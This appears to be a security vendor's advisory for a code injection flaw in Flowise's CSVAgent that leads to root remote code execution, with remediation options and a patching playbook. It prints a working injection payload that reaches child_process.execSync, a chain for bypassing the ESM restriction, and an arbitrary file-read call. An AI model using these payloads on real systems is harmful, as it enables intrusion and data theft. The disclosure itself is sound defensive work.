Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Description

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

  1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
  2. Pyodide js bridge provides access to the host Node.js process
  3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
  4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname')cbce3fb352b7

Server DoS — certain native binding calls (spawn_sync) crash the Node.js process entirely.

Original Report (below)

Vulnerable Code

File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

Lines 133-138 — Unsanitized string extraction from data URI via file.split(',').pop().pop() — no validation on content.

Lines 155-171 — Direct interpolation into executable Python code: base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.

validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.

Remediation

Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation

Option 2: Validate base64 before interpolation — reject if not matching /^[A-Za-z0-9+/=]*$/

Option 3: Escape special characters (", \n, \r, \\) before interpolation

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vmv7-4m6c-3cg5 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vmv7-4m6c-3cg5 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vmv7-4m6c-3cg5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
